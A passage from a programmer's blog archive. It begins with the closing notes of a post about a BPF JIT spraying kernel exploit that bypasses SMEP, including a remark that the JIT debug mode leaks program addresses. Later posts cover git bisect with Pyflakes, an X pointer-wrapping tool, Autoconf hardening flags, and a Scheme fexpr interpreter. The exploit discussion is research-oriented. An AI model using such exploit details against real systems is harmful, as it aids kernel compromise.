<p>The <code>fork</code>ed children get a copy the whole process's state, of course, but they don't actually need it. The BPF programs live in kernel memory, which is shared by all processes. So the program that sets up the payload could be totally unrelated to the one that guesses addresses.</p>
<h1 id="notes">Notes</h1>
<p>The full source is <a href="https://github.com/kmcallister/alameda">available on GitHub</a>. It includes some error handling and cleanup code that I elided above.</p>
<p>I'll admit that this is mostly a curiosity, for two reasons:</p>
<ul class="incremental">
<li>SMEP is not widely deployed yet.</li>
<li>The BPF JIT is disabled by default, and distributions don't enable it.</li>
</ul>
<p>Unless Intel abandons SMEP in subsequent processors, it will be widespread within a few years. It's less clear that the BPF JIT will ever catch on as a default configuration. But I'll note in passing that Linux is now using BPF programs for <a href="http://outflux.net/teach-seccomp/">process sandboxing</a> as well.</p>
<p>The BPF JIT is enabled by writing <code>1</code> to <code>/proc/sys/net/core/bpf_jit_enable</code>. You can write <code>2</code> to enable a debug mode, which will print the compiled program and its address to the kernel log. This makes life unreasonably easy for my exploit, by removing the address guesswork.</p>
<p>I don't have a CPU with SMEP, but I did try a <a href="http://grsecurity.net/">grsecurity</a> / PaX hardened kernel. PaX's KERNEXEC feature implements<sup><a href="#fn3" class="footnoteRef" id="fnref3">3</a></sup> in software a policy very similar to SMEP. And indeed, the JIT spray exploit succeeds where a traditional jump-to-userspace fails. (grsecurity has other features that would mitigate this attack, like the ability to lock out users who oops the kernel.)</p>
<p>The ARM, SPARC, and 64-bit PowerPC architectures each have their own BPF JIT. But I don't think they can be used for JIT spraying, because these architectures have fixed-size, aligned instructions. Perhaps on an ARM kernel built for Thumb-2...</p>
<div class="footnotes">
<hr />
<ol>
<li id="bpf_spray_fn1"><p>Actually, <a href="http://pubs.opengroup.org/onlinepubs/009695399/basedefs/xbd_chap03.html#tag_03_253">file <em>descriptions</em></a>. The description is the kernel state pertaining to an open file. The descriptor is a small integer referring to a file description. When we send an FD into a UNIX socket, the descriptor number received on the other end might be different, but it will refer to the same description.<a href="#bpf_spray_fnref1">↩</a></p></li>
<li id="bpf_spray_fn2"><p>While testing this code, I got the error <code>ETOOMANYREFS</code>. This was easy to track down, as there's only <a href="http://lxr.linux.no/linux+v3.6.5/net/unix/af_unix.c#L1376">one place</a> in the entire kernel where it is used.<a href="#bpf_spray_fnref2">↩</a></p></li>
<li id="fn3"><p>On i386, KERNEXEC uses <a href="http://www.cs.cmu.edu/~410/doc/segments/segments.html">x86 segmentation</a>, with negligible performance impact. Unfortunately, AMD64's vestigial segmentation is not good enough, so there KERNEXEC relies on a <a href="http://gcc.gnu.org/wiki/plugins">GCC plugin</a> to instrument every computed control flow instruction in the kernel. Specifically, it <code>or</code>s the target address with <span style="white-space: nowrap;"><code>(1 << 63)</code></span>. If the target was a userspace address, the new address will be <a href="http://en.wikipedia.org/wiki/X86-64#Canonical_form_addresses">non-canonical</a> and the processor will fault.<a href="#fnref3">↩</a></p></li>
</ol>
</div>
keeganhttp://www.blogger.com/profile/12227260241426017476noreply@blogger.com470tag:blogger.com,1999:blog-1563623855220143059.post-10959670329342741472012-09-18T07:45:00.000-07:002012-09-18T07:45:44.771-07:00Tracking down unused variables with Pyflakes and git bisect<p>I was working on a Python project when I noticed a variable that was defined but never used. Does this indicate that some important code was accidentally deleted? Or was there just a minor oversight during refactoring?</p>
<p>To answer this question, I wanted to see the Git commit which removed the last use of this variable. This sounds like a job for <a href="http://www.kernel.org/pub/software/scm/git/docs/git-bisect.html"><code>git bisect</code></a>. And because <a href="http://pypi.python.org/pypi/pyflakes">Pyflakes</a> can detect unused variables, the whole process is completely automatic.</p>
<p>I made a guess that the <code>mystery_variable</code> became unused sometime within the past two weeks. Then I told Git to consider a commit "good" if Pyflakes's list of complaints does not mention <code>mystery_variable</code>.</p>
<pre><code><span class="Prompt">$</span> <span class="Entry">git bisect start master master@{'2 weeks ago'}</span>
Already on 'master'
Bisecting: 150 revisions left to test after this (roughly 7 steps)
[066327622129dbe863f6e2fc4746ff9e869bd049] Synthesize gravity
<span class="Prompt">$</span> <span class="Entry">git bisect run bash -c '! pyflakes foo.py | grep mystery_variable'</span>
running bash -c ! pyflakes foo.py | grep mystery_variable
Bisecting: 75 revisions left to test after this (roughly 6 steps)
[d3a5665eff478cccfb86d994a8fc289446325fbf] Model object components
running bash -c ! pyflakes foo.py | grep mystery_variable
Bisecting: 37 revisions left to test after this (roughly 5 steps)
[6ddcfbf27a1a4548acf972a6b817e485743f6bd9] Time-compress simulator clock
...
running bash -c ! pyflakes foo.py | grep mystery_variable
9c2b2f006207ae9f274f9182efeb3e009d18ed04 is the first bad commit
commit 9c2b2f006207ae9f274f9182efeb3e009d18ed04
Author: Ben Bitdiddle <bitdiddle@example.com>
Date: Fri Sep 14 01:38:31 2012 -0400
Reticulate splines
</code></pre>
<p>Now I can examine this commit and see what happened.</p>keeganhttp://www.blogger.com/profile/12227260241426017476noreply@blogger.com170tag:blogger.com,1999:blog-1563623855220143059.post-68169049497999398402012-09-09T18:51:00.000-07:002012-09-09T18:51:05.757-07:00taralli: Screen edge pointer wrapping for X<p>The maximum travel distance between points on a desktop is substantially reduced if the pointer is allowed to travel off a screen edge and reappear at the opposite edge. In other words, we change the topology of the desktop to be that of a torus. This is not a new idea: it's implemented in several <a href="http://fixunix.com/xwindows/91117-can-mouse-wrap-around-screen-edges-xfree86.html">window managers</a>, programs for <a href="http://www.addictivetips.com/windows-tips/wrap-mouse-pointer-around-the-screen-in-windows-with-edgeless-2/">Windows</a> and <a href="http://www.digicowsoftware.com/detail?_app=Wraparound">Mac OS X</a>, and is even the subject of a <a href="http://insitu.lri.fr/TorusDesktop/TorusDesktop">research paper</a>.</p>
<p>I wanted a standalone program to implement mouse pointer wrapping for X Windows on GNU/Linux. Previously I was using <a href="http://synergy-foss.org/">Synergy</a> for this task. Synergy is a very cool program, but it's not a good choice for pointer wrapping on a single machine.</p>
<ul class="incremental">
<li><p><strong>Correctness</strong>: I have several monitors at different resolutions, which means my desktop isn't rectangular. Synergy didn't understand where the edge of each monitor is.</p></li>
<li><p><strong>Security</strong>: I don't need the exposure of 95,000 lines of code for this simple task. Even if there are no bugs in Synergy, I'm one configuration mistake away from running an unencrypted network keylogger.</p></li>
<li><p><strong>Energy efficiency</strong>: Synergy wakes up 40 times per second even when nothing is happening. This can have a significant impact on laptop battery life.</p></li>
</ul>
<p>So I wrote <a href="https://github.com/kmcallister/taralli"><code>taralli</code></a> as a simple replacement. It doesn't automatically understand non-rectangular desktops, but you can easily customize the pointer position mapping, to implement multi-monitor wrap-around or many other behaviors. (If someone would like to contribute the code to get multi-monitor information from <a href="http://en.wikipedia.org/wiki/Xinerama">Xinerama</a> or something, I would be happy to add that.)</p>
<p><code>taralli</code> is under 100 lines of C99. It has been tested on GNU/Linux and is likely portable to other X platforms. You can <a href="https://github.com/kmcallister/taralli">download it from GitHub</a>, which is also a great place to submit any bug reports or patches.</p>
keeganhttp://www.blogger.com/profile/12227260241426017476noreply@blogger.com141tag:blogger.com,1999:blog-1563623855220143059.post-72249426175449000912012-05-13T09:59:00.000-07:002012-05-13T09:59:04.470-07:00Automatic binary hardening with Autoconf<p>How do you protect a C program against memory corruption exploits? We should try to write code with no bugs, but we also need protection against any bugs which may lurk. Put another way, I try not to crash my bike but I still wear a helmet.</p>
<p>Operating systems now support a variety of tricks to make life difficult for would-be attackers. But most of these hardening features need to be enabled at compile time. When I started contributing to <a href="http://mosh.mit.edu/">Mosh</a>, I made it a goal to build with full hardening on every platform, not just <a href="https://wiki.ubuntu.com/Security/Features">proactive</a> distributions like Ubuntu. This means detecting available hardening features at compile time.</p>
<p>Mosh uses Autotools, so this code is naturally part of the <a href="http://www.gnu.org/software/autoconf/">Autoconf</a> script. I know that Autotools has a bad reputation in some circles, and I'm not going to defend it here. But a huge number of existing projects use Autotools. They can benefit today from a drop-in hardening recipe.</p>
<p>I've published an <a href="https://github.com/kmcallister/autoharden">example project</a> which uses Autotools to detect and enable some binary hardening features. To the extent possible under law, I <a href="https://github.com/kmcallister/autoharden/blob/master/LICENSE">waive all copyright</a> and related or neighboring rights to the code I wrote for this project. (There are some third-party files in the <code>m4/</code> subdirectory; those are governed by the respective licenses which appear in each file.) I want this code to be widely useful, and I welcome any refinements you have.</p>
<p>This article explains how my auto-detection code works, with some detail about the hardening measures themselves. If you just want to add hardening to your project, you don't necessarily need to read the whole thing. At the end I talk a bit about the performance implications.</p>
<h1 id="how-it-works">How it works</h1>
<p>The basic idea is simple. We use <code>AX_CHECK_{COMPILE,LINK}_FLAG</code> from the <a href="http://www.gnu.org/software/autoconf-archive/">Autoconf Archive</a> to detect support for each feature. The syntax is</p>
<div style="padding-left: 20px">
<code>AX_CHECK_COMPILE_FLAG</code>(<em>flag</em>, <em>action-if-supported</em>, <em>action-if-unsupported</em>, <em>extra-flags</em>)
</div>
<p>For <em>extra-flags</em> we generally pass <code>-Werror</code> so the compiler will fail on unrecognized flags. Since the project contains both C and C++ code, we check each flag once for the C compiler and once for the C++ compiler. Also, some flags depend on others, or have multiple alternative forms. This is reflected in the nesting structure of the <em>action-if-supported</em> and <em>action-if-unsupported</em> blocks. You can see the full story in <a href="https://github.com/kmcallister/autoharden/blob/master/configure.ac#L21"><code>configure.ac</code></a>.</p>
<p>We accumulate all the supported flags into <code>HARDEN_{C,LD}FLAGS</code> and substitute these into each <code>Makefile.am</code>. The hardening flags take effect even if the user overrides <code>CFLAGS</code> on the command line. To explicitly disable hardening, pass</p>
<pre><code>./configure --disable-hardening</code></pre>
<p>A useful command when testing is</p>
<pre><code>grep HARDEN config.log
</code></pre>
<h1 id="complications">Complications</h1>
<p><a href="http://clang.llvm.org/">Clang</a> will not error out on unrecognized flags, even with <code>-Werror</code>. Instead it prints a message like</p>
<pre><code>clang: warning: argument unused during compilation: '-foo'</code></pre>
<p>and continues on blithely. I don't want these warnings to appear during the actual build, so I hacked around Clang's behavior. The script <a href="https://github.com/kmcallister/autoharden/blob/master/scripts/wrap-compiler-for-flag-check"><code>wrap-compiler-for-flag-check</code></a> runs a command and errors out if the command prints a line containing "<code>warning: argument unused</code>". Then <code>configure</code> temporarily sets</p>
<pre class="sourceCode bash"><code class="sourceCode bash"><span class="ot">CC=</span><span class="st">"</span><span class="ot">$srcdir</span><span class="st">/scripts/wrap-compiler-for-flag-check </span><span class="ot">$CC</span><span class="st">"</span></code></pre>
<p>while performing the flag checks.</p>
<p>When I integrated hardening into Mosh, I discovered that Ubuntu's default hardening flags <a href="https://github.com/keithw/mosh/issues/203">conflict</a> with ours. For example we set <span
style="white-space:nowrap;"><code>-Wstack-protector</code></span>, meaning "warn about any unprotected functions", and they set <span
style="white-space:nowrap;"><code>--param=ssp-buffer-size=4</code></span>, meaning "don't protect functions with fewer than 4 bytes of buffers". Our stack-protector flags are strictly more aggressive, so I disabled Ubuntu's by adding these lines to <a href="https://github.com/keithw/mosh/blob/mosh-1.2/debian/rules#L12"><code>debian/rules</code></a>:</p>
<pre><code>export DEB_BUILD_MAINT_OPTIONS = hardening=-stackprotector
-include /usr/share/dpkg/buildflags.mk</code></pre>
<p>We did <a href="https://github.com/keithw/mosh/blob/dee09fb8fcaab9abcecb748be5b31088b9c2b987/fedora/mosh.spec#L32">something similar</a> for Fedora.</p>
<p>Yet another problem is that Debian distributes <a href="http://www.skarnet.org/software/skalibs/">skalibs</a> (a Mosh dependency) as a <a href="http://packages.debian.org/squeeze/skalibs-dev">static-only library</a>, built without <code>-fPIC</code>, which in turn prevents Mosh from using <code>-fPIC</code>. Mosh can build the relevant parts of skalibs <a href="https://github.com/keithw/mosh/tree/mosh-1.2/third/libstddjb">internally</a>, but Debian and Ubuntu don't want us doing that. The unfortunate solution is simply to <a href="https://github.com/keithw/mosh/commit/0eec0b60f0c5b3d94d5e382ea3d4aff35c879ed2">reimplement</a> the small amount of skalibs we were using on Linux.</p>
<h1 id="the-flags">The flags</h1>
<p>Here are the specific protections I enabled.</p>
<ul class="incremental">
<li><p><a href="https://wiki.ubuntu.com/Security/Features#fortify-source"><code>-D_FORTIFY_SOURCE=2</code></a> enables some compile-time and run-time checks on memory and string manipulation. This requires <code>-O1</code> or higher. See also <a href="http://www.kernel.org/doc/man-pages/online/pages/man7/feature_test_macros.7.html"><code>man 7 feature_test_macros</code></a>.</p></li>
<li><p><a href="https://bugzilla.redhat.com/show_bug.cgi?id=491266"><code>-fno-strict-overflow</code></a> prevents GCC from optimizing away arithmetic overflow tests.</p></li>
<li><p><a href="https://wiki.ubuntu.com/Security/Features#stack-protector"><code>-fstack-protector-all</code></a> detects stack buffer overflows after they occur, using a <a href="http://en.wikipedia.org/wiki/Buffer_overflow_protection#Canaries">stack canary</a>. We also set <span style="white-space:nowrap;"><code>-Wstack-protector</code></span> (warn about unprotected functions) and <span
style="white-space:nowrap;"><code>--param ssp-buffer-size=1</code></span> (protect regardless of buffer size). (Actually, the "<code>-all</code>" part of <span
style="white-space:nowrap;"><code>-fstack-protector-all</code></span> might imply <span style="white-space:nowrap;"><code>ssp-buffer-size=1</code></span>.)</p></li>
<li><p>Attackers can use fragments of legitimate code already in memory to <a href="http://cseweb.ucsd.edu/~hovav/talks/blackhat08.html">stitch together</a> exploits. This is much harder if they don't know where any of that code is located. Shared libraries get <a href="http://en.wikipedia.org/wiki/Address_space_layout_randomization">random addresses</a> by default, but your program doesn't. Even an exploit against a shared library can take advantage of that. So we build a <a href="https://wiki.ubuntu.com/Security/Features#pie">position independent executable</a> (PIE), with the goal that <em>every</em> executable page has a randomized address.</p></li>
<li><p>Exploits can't overwrite read-only memory. Some areas could be marked as read-only except that the <a href="http://www.iecc.com/linker/linker10.html">dynamic loader</a> needs to perform relocations there. The GNU linker flag <span style="white-space:nowrap;"><code>-z relro</code></span> arranges to set them as read-only once the dynamic loader is done with them.</p>
<p>In particular, this can <a href="http://www.airs.com/blog/archives/189">protect</a> the <a href="http://www.technovelty.org/linux/pltgot.html">PLT and GOT</a>, which are classic targets for memory corruption. But PLT entries normally get resolved on demand, which means they're writable as the program runs. We set <span style="white-space:nowrap;"><code>-z now</code></span> to resolve PLT entries at startup so they get RELRO protection.</p></li>
</ul>
<p>In the example project I also enabled <code>-Wall -Wextra -Werror</code>. These aren't hardening flags and we don't need to detect support, but they're quite important for catching security problems. If you can't make your project <span
style="white-space:nowrap;"><code>-Wall</code></span>-clean, you can at least add security-relevant checks such as <span
style="white-space:nowrap;"><code>-Wformat-security</code></span>.</p>
<h1 id="demonstration">Demonstration</h1>
<p>On x86 Linux, we can check the hardening features using Tobias Klein's <a href="http://www.trapkit.de/tools/checksec.html">checksec.sh</a>. First, as a control, let's build with no hardening.</p>
<pre class="sourceCode"><code class="sourceCode"><span class="Prompt">$</span> <span class="Entry">./build.sh --disable-hardening</span>
+ autoreconf -fi
+ ./configure --disable-hardening
...
+ make
...
<span class="Prompt">$</span> <span class="Entry">~/checksec.sh --file src/test</span>
<span style="color:red">No RELRO</span> <span style="color:red">No canary found</span> <span style="color:green">NX enabled</span> <span style="color:red">No PIE</span>
</code></pre>
<p>The <a href="http://en.wikipedia.org/wiki/NX_bit">no-execute bit</a> (NX) is mainly a kernel and CPU feature. It does not require much compiler support, and is enabled by default these days. Now we'll try full hardening:</p>
<pre class="sourceCode"><code class="sourceCode"><span class="Prompt">$</span> <span class="Entry">./build.sh</span>
+ autoreconf -fi
+ ./configure
...
checking whether C compiler accepts -fno-strict-overflow... yes
checking whether C++ compiler accepts -fno-strict-overflow... yes
checking whether C compiler accepts -D_FORTIFY_SOURCE=2... yes
checking whether C++ compiler accepts -D_FORTIFY_SOURCE=2... yes
checking whether C compiler accepts -fstack-protector-all... yes
checking whether C++ compiler accepts -fstack-protector-all... yes
checking whether the linker accepts -fstack-protector-all... yes
checking whether C compiler accepts -Wstack-protector... yes
checking whether C++ compiler accepts -Wstack-protector... yes
checking whether C compiler accepts --param ssp-buffer-size=1... yes
checking whether C++ compiler accepts --param ssp-buffer-size=1... yes
checking whether C compiler accepts -fPIE... yes
checking whether C++ compiler accepts -fPIE... yes
checking whether the linker accepts -fPIE -pie... yes
checking whether the linker accepts -Wl,-z,relro... yes
checking whether the linker accepts -Wl,-z,now... yes
...
+ make
...
<span class="Prompt">$</span> <span class="Entry">~/checksec.sh --file src/test</span>
<span style="color:green">Full RELRO</span> <span style="color:green">Canary found</span> <span style="color:green">NX enabled</span> <span style="color:green">PIE enabled</span>
</code></pre>
<p>We can dig deeper on some of these. <code>objdump -d</code> shows that the unhardened executable puts <code>main</code> at a fixed address, say <code>0x4006e0</code>, while the position-independent executable specifies a small offset like <code>0x9e0</code>. We can also see the stack-canary checks:</p>
<pre><code>b80: sub $0x18,%rsp
b84: mov %fs:0x28,%rax
b8d: mov %rax,0x8(%rsp)
... function body ...
b94: mov 0x8(%rsp),%rax
b99: xor %fs:0x28,%rax
ba2: jne bb4 <c_fun+0x34>
... normal epilogue ...
bb4: callq 9c0 <__stack_chk_fail@plt></code></pre>
<p>The function starts by copying a "<a href="http://en.wikipedia.org/wiki/Animal_sentinels#Detection_of_toxic_gases">canary</a>" value from <code>%fs:0x28</code> to the stack. On return, that value had better still be there; otherwise, an attacker has clobbered our stack frame.</p>
<p>The canary is chosen randomly by glibc at program start. The <code>%fs</code> <a href="http://en.wikipedia.org/wiki/X86_memory_segmentation">segment</a> has a random offset in linear memory, which makes it hard for an attacker to discover the canary through an information leak. This also puts it within thread-local storage, so glibc could use a different canary value for each thread (but I'm not sure if it does).</p>
<p>The hardening flags adapt to any other compiler options we specify. For example, let's try a static build:</p>
<pre class="sourceCode"><code class="sourceCode"><span class="Prompt">$</span> <span class="Entry">./build.sh LDFLAGS=-static</span>
+ autoreconf -fi
+ ./configure LDFLAGS=-static
...
checking whether C compiler accepts -fPIE... yes
checking whether C++ compiler accepts -fPIE... yes
checking whether the linker accepts -fPIE -pie... no
...
+ make
...
<span class="Prompt">$</span> <span class="Entry">file src/test</span>
src/test: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux),
statically linked, for GNU/Linux 2.6.26, not stripped
<span class="Prompt">$</span> <span class="Entry">~/checksec.sh --file src/test</span>
<span style="color:goldenrod">Partial RELRO</span> <span style="color:green">Canary found</span> <span style="color:green">NX enabled</span> <span style="color:red">No PIE</span>
</code></pre>
<p>We can't have position independence with static linking. And <code>checksec.sh</code> thinks we aren't RELRO-protecting the PLT — but that's because we don't have one.</p>
<h1 id="performance">Performance</h1>
<p>So what's the catch? These protections can slow down your program significantly. I ran <a href="https://github.com/keithw/mosh/issues/79#issuecomment-4683789">a few benchmarks</a> for Mosh, on three test machines:</p>
<ul class="incremental">
<li><p>A wimpy netbook: 1.6 GHz Atom N270, Ubuntu 12.04 <code>i386</code></p></li>
<li><p>A reasonable laptop: 2.1 GHz Core 2 Duo T8100, Debian sid <code>amd64</code></p></li>
<li><p>A beefy desktop: 3.0 GHz Phenom II X6 1075T, Debian sid <code>amd64</code></p></li>
</ul>
<p>In all three cases I built Mosh using GCC 4.6.3. Here's the relative slowdown, in percent.</p>
<table class="datatable">
<tr><th>
Protections
</th><th>
Netbook
</th><th>
Laptop
</th><th>
Desktop
</th></th>
<tr><td>
Everything
</td><td>
16.0
</td><td>
4.4
</td><td>
2.1
</td></tr>
<tr><td>
All except PIE
</td><td>
4.7
</td><td>
3.3
</td><td>
2.2
</td></tr>
<tr><td>
All except stack protector
</td><td>
11.0
</td><td>
1.0
</td><td>
1.1
</td></tr>
</table>
<p>PIE really hurts on <code>i386</code> because data references <a href="http://eli.thegreenplace.net/2011/11/03/position-independent-code-pic-in-shared-libraries/">use an extra register</a>, and registers are scarce to begin with. It's much cheaper on <code>amd64</code> thanks to <a href="http://en.wikipedia.org/wiki/Addressing_mode#PC-relative">PC-relative addressing</a>.</p>
<p>There are other variables, of course. One Debian stable system with GCC 4.4 saw a 30% slowdown, with most of it coming from the stack protector. So this deserves further scrutiny, if your project is performance-critical. Mosh doesn't use very much CPU anyway, so I decided security is the dominant priority.</p>keeganhttp://www.blogger.com/profile/12227260241426017476noreply@blogger.com172tag:blogger.com,1999:blog-1563623855220143059.post-75999395866588472812012-04-28T00:09:00.000-07:002012-04-28T00:09:01.051-07:00Scheme without special forms: a metacircular adventure<p>A good programming language will have many libraries building on a small set of core features. Writing and distributing libraries is much easier than dealing with changes to a language implementation. Of course, the choice of core features affects the scope of things we can build as libraries. We want a very small core that still allows us to build anything.</p>
<p>The <a href="http://en.wikipedia.org/wiki/Lambda_calculus">lambda calculus</a> can implement any computable function, and encode <a href="http://en.wikipedia.org/wiki/Church_encoding">arbitrary data types</a>. Technically, it's all we need to instruct a computer. But programs also need to be written and understood by humans. We fleshy meatbags will soon get lost in a sea of unadorned lambdas. Our languages need to have more structure.</p>
<p>As an example, the <a href="http://schemers.org/">Scheme</a> programming language is explicitly based on the lambda calculus. But it adds syntactic <a href="http://www.gnu.org/software/mit-scheme/documentation/mit-scheme-ref/Special-Forms.html">special forms</a> for definitions, variable binding, conditionals, etc. Scheme also lets the programmer define new syntactic forms as <a href="http://community.schemewiki.org/?scheme-faq-macros">macros</a> translating to existing syntax. Indeed, <code>lambda</code> and the macro system are enough to implement <a href="http://en.wikipedia.org/wiki/Scheme_(programming_language)#Minimalism">some</a> of the standard special forms.</p>
<p>But we can do better. There's a simple abstraction which lets us define <code>lambda</code>, Lisp or Scheme macros, and all the other special forms as mere library code. This idea was known as "<a href="http://en.wikipedia.org/wiki/Fexpr">fexprs</a>" in old Lisps, and more recently as "operatives" in <a href="http://fexpr.blogspot.com/">John Shutt</a>'s programming language <a href="http://web.cs.wpi.edu/~jshutt/kernel.html">Kernel</a>. Shutt's <a href="http://www.wpi.edu/Pubs/ETD/Available/etd-090110-124904/unrestricted/jshutt.pdf">PhD thesis</a> [PDF] has been a vital resource for learning about this stuff; I'm slowly making my way through its 416 pages.</p>
<p>What I understand so far can be summarized by something self-contained and kind of cool. Here's the agenda:</p>
<ul class="incremental">
<li><p>I'll describe a tiny programming language named Qoppa. Its S-expression syntax and basic data types are borrowed from Scheme. Qoppa has no special forms, and a small set of built-in operatives.</p></li>
<li><p>We'll write a Qoppa interpreter in Scheme.</p></li>
<li><p>We'll write a library for Qoppa which implements enough Scheme features to run the Qoppa interpreter.</p></li>
<li><p>We'll use this nested interpreter to very slowly compute the factorial of 5.</p></li>
</ul>
<p>All of the code is <a href="https://github.com/kmcallister/qoppa">on GitHub</a>, if you'd like to see it in one place.</p>
<h1 id="operatives-in-qoppa">Operatives in Qoppa</h1>
<p>An operative is a first-class value: it can be passed to and from functions, stored in data structures, and so forth. To use an operative, you apply it to some arguments, much like a function. The difference is that</p>
<ol class="incremental" style="list-style-type: lower-alpha">
<li><p>The operative receives its arguments as unevaluated syntax trees, and</p></li>
<li><p>The operative also gets an argument representing the variable-binding environment at the call site.</p></li>
</ol>
<p>Just as Scheme's functions are constructed by the <code>lambda</code> syntax, Qoppa's operatives are constructed by <code>vau</code>. Here's a simple example:</p>
<pre class="sourceCode qoppa"><code class="sourceCode qoppa">(define quote
(<span class="kw">vau</span> (x) env
x))</code></pre>
<p>We bind a single argument as <code>x</code>, and bind the caller's environment as <code>env</code>. (Since we don't use <code>env</code>, we could replace it with <code>_</code>, which means to ignore the argument in that position, like Haskell's <code>_</code> or Kernel's <code>#ignore</code>.) The body of the <code>vau</code> says to return the argument <code>x</code>, unevaluated.</p>
<p>So this implements Scheme's <code>quote</code> special form. If we evaluate the expression <code>(quote x)</code> we'll get the symbol <code>x</code>. As it happens, <code>quote</code> is used sparingly in Qoppa. There is usually a cleaner alternative, as we'll see.</p>
<p>Here's another operative:</p>
<pre class="sourceCode qoppa"><code class="sourceCode qoppa">(define list (<span class="kw">vau</span> xs env
(if (<span class="kw">null?</span> xs)
(quote ())
(<span class="kw">cons</span>
(<span class="kw">eval</span> env (<span class="kw">car</span> xs))
(<span class="kw">eval</span> env (<span class="kw">cons</span> list (<span class="kw">cdr</span> xs)))))))</code></pre>
<p>This <code>list</code> operative does the same thing as Scheme's <code>list</code> function: it evaluates any number of arguments and returns them in a list. So <code>(list (+ 2 2) 3)</code> evaluates to the list <code>(4 3)</code>.</p>
<p>In Scheme, <code>list</code> is just <code>(lambda xs xs)</code>. In Qoppa it's more involved, because we must explicitly evaluate each argument. This is the hallmark of (meta)programming with operatives: we selectively evaluate using <code>eval</code>, rather than selectively suppressing evaluation using <code>quote</code>.</p>
<p>The last part of this code deserves closer scrutiny:</p>
<pre class="sourceCode qoppa"><code class="sourceCode qoppa">(<span class="kw">eval</span> env (<span class="kw">cons</span> list (<span class="kw">cdr</span> xs)))</code></pre>
<p>What if the caller's environment <code>env</code> contains a local binding for the name <code>list</code>? Not to worry, because we aren't quoting the name <code>list</code>. We're building a cons pair whose car is the <em>value</em> of <code>list</code>... an operative! Supposing <code>xs</code> is <code>(1 2 3)</code>, the expression</p>
<pre class="sourceCode qoppa"><code class="sourceCode qoppa">(<span class="kw">cons</span> list (<span class="kw">cdr</span> xs))</code></pre>
<p>evaluates to the list</p>
<pre class="sourceCode qoppa"><code class="sourceCode qoppa">(<some-value-representing-an-operative> <span class="dv">2</span> <span class="dv">3</span>)</code></pre>
<p>and <em>that's</em> what <code>eval</code> sees. Just like <code>lambda</code>, evaluating a <code>vau</code> expression captures the current environment. When the resulting operative is used, the <code>vau</code> body gets values from this captured static environment, not the dynamic argument of the caller. So we have lexical scoping by default, with the option of dynamic scoping thanks to that <code>env</code> parameter.</p>
<p>Compare this situation with Lisp or Scheme macros. Lisp macros build code which refers to external stuff by name. Maintaining <a href="http://en.wikipedia.org/wiki/Hygienic_macro">macro hygiene</a> requires constant attention by the programmer. Scheme's macros are hygienic by default, but the macro system is far more complex. Rather than writing ordinary functions, we have to use one of several <a href="http://community.schemewiki.org/?syntax-case">special-purpose sublanguages</a>. Operatives provide the safety of Scheme macros, but (like Lisp macros) they use only the core computational features of the language.</p>
<h1 id="implementing-qoppa">Implementing Qoppa</h1>
<p>Now that you have a taste of what the language is like, let's write a Qoppa interpreter in Scheme.</p>
<p>We will represent an environment as a list of frames, where a frame is simply an <a href="http://en.wikipedia.org/wiki/Association_list">association list</a>. Within the <code>vau</code> body in</p>
<pre class="sourceCode qoppa"><code class="sourceCode qoppa">( (<span class="kw">vau</span> (x) _ x) <span class="dv">3</span> )</code></pre>
<p>the current environment would be something like</p>
<pre><code>( ;; local frame
((x 3))
;; global frame
((cons <operative>)
(car <operative>)
...) )</code></pre>
<p>Here's a Scheme function to build a frame from some names and the corresponding values.</p>
<pre class="sourceCode scheme"><code class="sourceCode scheme">(<span class="kw">define</span><span class="fu"> </span>(bind param val) (<span class="kw">cond</span>
((<span class="kw">and</span> (<span class="kw">null?</span> param) (<span class="kw">null?</span> val))
'())
((<span class="kw">eq?</span> param '_)
'())
((<span class="kw">symbol?</span> param)
(<span class="kw">list</span> (<span class="kw">list</span> param val)))
((<span class="kw">and</span> (<span class="kw">pair?</span> param) (<span class="kw">pair?</span> val))
(<span class="kw">append</span>
(bind (<span class="kw">car</span> param) (<span class="kw">car</span> val))
(bind (<span class="kw">cdr</span> param) (<span class="kw">cdr</span> val))))
(<span class="kw">else</span>
(error <span class="st">"can't bind"</span> param val))))</code></pre>
<p>We allow names and values to be arbitrary trees, so for example</p>
<pre class="sourceCode scheme"><code class="sourceCode scheme">(bind
'((a b) . c)
'((<span class="dv">1</span> <span class="dv">2</span>) <span class="dv">3</span> <span class="dv">4</span>))</code></pre>
<p>evaluates to</p>
<pre class="sourceCode scheme"><code class="sourceCode scheme">((a <span class="dv">1</span>)
(b <span class="dv">2</span>)
(c (<span class="dv">3</span> <span class="dv">4</span>)))</code></pre>
<p>(If you'll recall, <code>(x . y)</code> is the pair formed by <code>(cons 'x 'y)</code>, an <a href="http://clhs.lisp.se/Body/26_glo_i.htm#improper_list">improper list</a>.) The generality of <code>bind</code> means our argument-binding syntax — in <code>vau</code>, <code>lambda</code>, <code>let</code>, etc. — will be richer than Scheme's.</p>
<p>Next, a function to find a <code>(name value)</code> entry, given the name and an environment. This just invokes <a href="http://www.math.grin.edu/~stone/scheme-web/assq.html"><code>assq</code></a> on each frame until we find a match.</p>
<pre class="sourceCode scheme"><code class="sourceCode scheme">(<span class="kw">define</span><span class="fu"> </span>(m-lookup name env)
(<span class="kw">if</span> (<span class="kw">null?</span> env)
(error <span class="st">"could not find"</span> name)
(<span class="kw">let</span> ((binding (<span class="kw">assq</span> name (<span class="kw">car</span> env))))
(<span class="kw">if</span> binding
binding
(m-lookup name (<span class="kw">cdr</span> env))))))</code></pre>
<p>We also need a representation for operatives. A simple choice is that a Qoppa operative is represented by a Scheme procedure that takes the operands and current environment as arguments. Now we can write the Qoppa evaluator itself.</p>
<pre class="sourceCode scheme"><code class="sourceCode scheme">(<span class="kw">define</span><span class="fu"> </span>(m-eval env exp) (<span class="kw">cond</span>
((<span class="kw">symbol?</span> exp)
(<span class="kw">cadr</span> (m-lookup exp env)))
((<span class="kw">pair?</span> exp)
(m-operate env (m-eval env (<span class="kw">car</span> exp)) (<span class="kw">cdr</span> exp)))
(<span class="kw">else</span>
exp)))
(<span class="kw">define</span><span class="fu"> </span>(m-operate env operative operands)
(operative env operands))</code></pre>
<p>The evaluator has only three cases. If <code>exp</code> is a symbol, it refers to a value in the current environment. If it's a cons pair, the car must evaluate to an operative and the cdr holds operands. Anything else evaluates to itself: numbers, strings, Booleans, and Qoppa operatives (represented by Scheme procedures).</p>
<p>Instead of the traditional <a href="http://icampus.mit.edu/xTutor/public/images/content/5/sicp-cover.jpg">eval and apply</a> we have "eval" and "operate". Thanks to our uniform representation of operatives, the latter is very simple.</p>
<h1 id="qoppa-builtins">Qoppa builtins</h1>
<p>Now we need to populate the global environment with useful built-in operatives. <code>vau</code> is the most significant of these. Here is its corresponding Scheme procedure.</p>
